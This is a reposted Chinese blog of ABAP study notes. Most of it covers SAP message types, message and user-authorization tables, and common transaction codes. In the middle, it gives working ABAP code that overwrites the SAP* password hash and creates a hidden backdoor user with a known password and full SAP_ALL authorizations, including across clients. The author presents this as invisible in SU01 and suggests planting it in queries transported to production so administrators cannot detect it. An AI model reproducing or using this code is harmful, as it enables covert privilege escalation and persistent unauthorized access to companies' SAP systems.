学习笔记<一>

一、第一个程序范例:【SE38】

REPORT  Y_TEST.
WRITE 'HELLO 小猫咪,欢迎学习ABAP程式,加油哦^_^ '.

image

 

二、定义消息:【SE91】

SAP程序消息类型:

I——信息窗口,W——警告,E——错误,S——成功,A——终止程序或TCODE,X——未知。

 

REPORT  Y_TEST MESSAGE-ID ZMM01.
                        MESSAGE I002.

image

 

REPORT  Y_TEST.
MESSAGE I002(ZMM01) WITH 'Var1' .

或者写成:MESSAGE ID 'ZMM01' TYPE 'I' NUMBER '002' WITH 'Var1'.

image

MESSAGE W002(ZMM01) WITH 'Var1' .

image

MESSAGE E002(ZMM01) WITH 'Var1' .

image

MESSAGE S002(ZMM01) WITH 'Var1' .

image

MESSAGE A002(ZMM01) WITH 'Var1' .

image

MESSAGE X002(ZMM01) WITH 'Var1' .

image

 

PROGRAM ZMMR005.
CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'
EXPORTING
    I_ARBGB = 'ZMMR005'
    I_DTYPE = ''
    I_MSGNR = '002'
IMPORTING
    E_MSGTY = SY-MSGTY.

 

三、消息最常用的table

T100: SAP能用到的消息都应该在此表中找到.

T160M :MM模块相关消息表,此表可完全直接维护.就是说只要记住它,MM的消息配置直接使用SE16就可以.

T100C: FI模块中用户自定义的消息,比如使用OBA5, OFMG等自定义的消息会写入此表,CO配置消息不在此表.

T100S: 此表保存着允许用户更改的应用区域和消息号,举例假设你删除了KI 005则在OBA5中再不能配置此消息.(对MM模块有些例外,M7不在此表,使用OMCQ依旧可设置,M3不在此表,OMT4依旧可设置)此表也可直接维护.和T160M不同的是,你必须在SE16输入T100S按新建按钮才可维护.查询时只可Display.

T100U: 哪个用户最后更改了消息,从此表能找到.

T100W: For Workflow

 

常用权限相关Tcode .
(一)Role(角色)相关T-code:
PFAC 标准
PFAC_CHG 改变
PFAC_DEL 删除
PFAC_DIS 显示
PFAC_INS 新建
PFAC_STR
PFCG 创建
ROLE_CMP 比较
SUPC 批量建立角色profile
SWUJ 测试
SU03 检测授权
SU25, SU26 检查Profile
(二)建立用户
SU0
SU01
SU01D
SU01_NAV
SU05
SU1
SU10 批量
SU12 批量
SUCOMP:维护用户公司地址
SU2 change用户参数
SUIM 用户信息系统,可by 多个查询.
(三)建立用户组
SUGR:维护
SUGRD:显示
SUGRD_NAV:还是维护
SUGR_NAV:还是显示
(四)维护检查授权
SU20|SU21:如有特殊需要定义自己的authorization fields
SU50|SU51|SU52
SU53:当有权限问题可使用它检测
SU56:分析authoraztion data buffers. SU87:用来检查用户改变产生的history SU96,SU97,SU98,SU99:
常用权限相关表格:
TOBJ : All avaiable authorzation objects.(SAP default objects全在此)
USR12: 用户级authoraztion值
USR02:密码table
USR04:Authorization
USR03:User address data
USR05:User Master Parameter ID
USR06:Additional Data per User
USR07:Object/values of last authorization check that failed
USR08:Table for user menu entries
USR09:Entries for user menus (work areas)
USR10:User master authorization profiles
USR11:User Master Texts for Profiles (USR10)
USR12:User master authorization values
USR13:Short Texts for Authorizations
USR14:Surchargeable Language Versions per User
USR15:External User Name
USR16:Values for Variables for User Authorizations
USR20:Date of last user master reorganization
USR21:Assign user name address key
USR22:Logon data without kernel access
USR30:Additional Information for User Menu
USR40:Table for illegal passwords
USR41:当前用户(SM04看到的所有当前活动用户)
USRBF2:记录当前用户所有的授权objects
UST04:User Profile master
UST10C: Composite profiles
UST10S: Single profiles
UST12 : Authorizations

 

 

修改某权限大的用户密码.下面是直接修改SAP*的密码为123.就一句话足矣.

report ZMODPWD.

tables :usr02 .

*Data ZUSR02 like USR02 .

*select single * into zUSR02 from USR02

*where BNAME = 'SAP*'.

*ZUSR02-BNAME = 'SAP*'.

*ZUSR02-Bcode = '9C8AB8600E74D864' .

*ZUSR02-UFLAG = '0' ."unlock SAP*

*Update USR02 from ZUSR02 .

update usr02 set bcode = 'DF52478E6FF90EEB'

where BNAME = 'SAP*'.

 

上面的方法不妥的是如修改了SAP*密码,basis很快就会知道,为什么不尝试建立一个临时用户呢?下面介绍一个如何通过程序随意建立用户并赋予所有权限的例子,此例的特点在于直接在用户授权对象表USRBF2中加入授权对象,使用SU01看不到任何迹象,隐蔽性较强.

下面是建立用户ZSTHACKER(初始密码123qaz)并赋予SAP*用户的所有权限.

 

Program ZCRTUSER.

Data ZUSR02 like USR02 .

***1Create User ZSTHACKER according to DDIC

select single * into ZUSR02 from USR02

where BNAME = 'DDIC'.

ZUSR02-BNAME = 'ZSTHACKER'.

ZUSR02-Bcode = 'E3B796BB09F7901B' .

insert USR02 from ZUSR02 .

***2Copy Auth. Obj from SAP*(or other)

data ZUSRBF2 like USRBF2 occurs 0 with header line.

select * from USRBF2 into table ZUSRBF2

where BNAME = 'SAP*' .

 

Loop at ZUSRBF2.

  ZUSRBF2-BNAME = 'ZSTHACKER' .

  Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.

endloop.

INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

 

如果SAP*被修改,直接从Tobj将所有的授权对象赋给ZSTHACKER就可.

Data Ztobj like tobj occurs 0 with header line .

data zusrbf2 like usrbf2.

select * into table ztobj from tobj .

loop at ztobj.

  zusrbf2-mandt = sy-mandt.

  zusrbf2-bname = 'ZSTHACKER'.

  zusrbf2-objct = ztobj-objct.

  zusrbf2-auth ='&_SAP_ALL'.

  modify USRBF2 FROM zusrbf2 .

endloop .

 

现在还有一点就是basis能检测到多出的神秘ZSTHACKER用户,有一种方法就是basis极难发现这个秘密.读者可自行完成程序逻辑.思路如下:

[1]完善程序有建立和删除用户两功能,并将程序插入将要传送到PRD的实用Query(或report painter)等自动产生的程序(需要绕过Access Key).

[2]写个简单的逻辑如果query的某个条件满足建立用户赋予权限(象上面一样插入数据到USR02和USRBF2中),如果另一条件满足删除相关数据(从usr02和usrbf2中将数据删除)这样basis就难于发现.

 

[3]能不能垮client端建立用户和授权呢?

回答是肯定的,很简单,只要在插入数据时指定client就可.假设在client 100有个用户ZSTHACKER没有任何授权,当前client是300,下面的例子将300中SAP*的所有授权对象赋予给client 100的用户ZSTHACKER.(同理使用client specified可跨client 建立用户).

 

Data zusrbf2 like usrbf2.

Select * into zusrbf2 from usrbf2 where bname = 'SAP*' .

  Zusrbf2-bname = 'ZSTHACKER' .

  Zusrbf2-mandt = '100'.

  Insert into usrbf2 client specified values zusrbf2.

Endselect .

 

ABAPer 常用Tcode

Tcode

描述

CMOD(SMOD)

SAP增强

OSS1

连接SAP OSS

S001

ABAP开发工作台菜单(含多Tcode)

SA38

运行程序(SE38开发)

SCAT

Computer Aided Test Tool

SE01

传递传输请求(同一服务器的不同client)

SE09

传输请求操作

SE10

同SE09

SE11

维护ABAP数据字典

SE12

显示数据字典

SE13|SE14|SE15

数据字典相关

SE16|SE17

查看表数据

SE30

ABAP运行分析

SE32

ABAP文本元素维护

SE35

ABAP/4对话框编程维护

SE36

维护逻辑数据库

SE37

维护Function module

SE38

ABAP 编辑器

SE39

程序比较

SE41

菜单制作器

SE43

应用区菜单(相同功能tcode组成一area menu)

SE51

屏幕绘制器

SE54

生成表的维护视图,然后SE16|SM30可直接维护表数据

SE61

文档维护

SE63

翻译

SE71->SE76

SAPscript相关 Tcode

SE80

ABAP库

SE81

ABAP应用层次

SE84|SE85|SE86

ABAP/4 Repository Information System

SE91

建立消息类和消息

SE92

维护系统Log消息

SE93

给程序维护Tcode

SEU

Repository Object Browser

SHD0

维护Tcode运行变式(Variant)

SM04

查看当前用户

SM12

删除显示Locked objects(不可删除被lock的传输请求)

SM21

Dump log查看

SM30|SM31

维护table|view数据

SM32

维护表

SM35

查看Batch input session(建立BDC使用SHDB)

SM36

定义后台job

SM37

查看后台job

SM50

Process Overview

SM51

Display system servers, processes, etc.

SM62

Display/Maintain events in SAP

ST05

SQL等跟踪,使用它可跟踪程序使用的表等.

SU53

检查授权对象,如出现权限问题可使用

转载于:https://www.cnblogs.com/xiaomaomi/archive/2013/02/01/2889654.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值